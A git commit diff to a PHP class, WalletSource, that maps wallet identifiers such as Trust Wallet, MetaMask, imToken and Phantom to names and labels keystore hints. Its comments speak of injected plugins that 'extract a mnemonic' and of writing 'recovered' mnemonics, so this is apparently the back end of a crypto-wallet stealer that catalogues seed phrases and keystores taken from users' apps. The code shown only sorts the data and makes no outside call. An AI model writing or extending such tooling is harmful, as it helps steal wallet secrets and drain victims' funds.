This commit is contained in:
hashbro
2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
+98
View File
@@ -78,6 +78,37 @@ final class WalletSource
'com.global.wallet.ios' => 'Global Wallet',
];
/**
* DS /war wallet bucket keys → display name. Unknown keys stay empty.
*
* @var array<string, string>
*/
private const DS_WALLET_KEYS = [
'trustwallet' => 'Trust Wallet',
'trust_wallet' => 'Trust Wallet',
'trust' => 'Trust Wallet',
'imtoken' => 'imToken',
'im.token' => 'imToken',
'tokenpocket' => 'TokenPocket',
'token_pocket' => 'TokenPocket',
'phantom' => 'Phantom',
'uniswap' => 'Uniswap',
'coinbase' => 'Coinbase Wallet',
'bitget' => 'BitKeep',
'bitkeep' => 'BitKeep',
'metamask' => 'MetaMask',
'okx' => 'OKX',
'tronlink' => 'TronLink',
'coin98' => 'Coin98',
'solflare' => 'Solflare',
'exodus' => 'Exodus',
'tonkeeper' => 'Tonkeeper',
'mytonwallet' => 'MyTonWallet',
'tonhub' => 'Tonhub',
'bitpie' => 'Bitpie',
'telegram' => 'Telegram',
];
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */
private const NON_MNEMONIC_BUNDLES = [
'ph.telegra.Telegraph',
@@ -94,6 +125,73 @@ final class WalletSource
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
}
/**
* Keystore source: known wallet name, or empty when unrecognized.
*/
public static function fromKeystoreHint(mixed $hint): string
{
if (! is_string($hint) || trim($hint) === '') {
return '';
}
$raw = trim($hint);
$key = strtolower($raw);
if (isset(self::TAGS[$key])) {
return self::TAGS[$key];
}
if (isset(self::DS_WALLET_KEYS[$key])) {
return self::DS_WALLET_KEYS[$key];
}
foreach (self::knownLabels() as $label) {
if (strcasecmp($label, $raw) === 0) {
return $label;
}
}
if (str_contains($key, 'utc--') || str_contains($key, 'trustwallet') || str_contains($key, 'trust_wallet')) {
return 'Trust Wallet';
}
if (str_contains($key, 'bitpie')) {
return 'Bitpie';
}
if (str_contains($key, 'imtoken') || str_contains($key, 'im.token')) {
return 'imToken';
}
if (str_contains($key, 'tokenpocket') || str_contains($key, 'token_pocket')) {
return 'TokenPocket';
}
if (str_contains($key, 'metamask')) {
return 'MetaMask';
}
return '';
}
/**
* Plugin tag used when writing a recovered mnemonic (`d` = Trust Wallet).
*/
public static function tagForLabel(string $label): string
{
$label = trim($label);
foreach (self::TAGS as $tag => $name) {
if (strcasecmp($name, $label) === 0) {
return $tag;
}
}
return '';
}
/**
* @return list<string>
*/
private static function knownLabels(): array
{
return array_values(array_unique(array_merge(
array_values(self::TAGS),
array_values(self::DS_WALLET_KEYS),
array_values(self::BUNDLE_LABELS),
)));
}
/**
* True when this bundle is a business plugin that can extract a mnemonic.
*/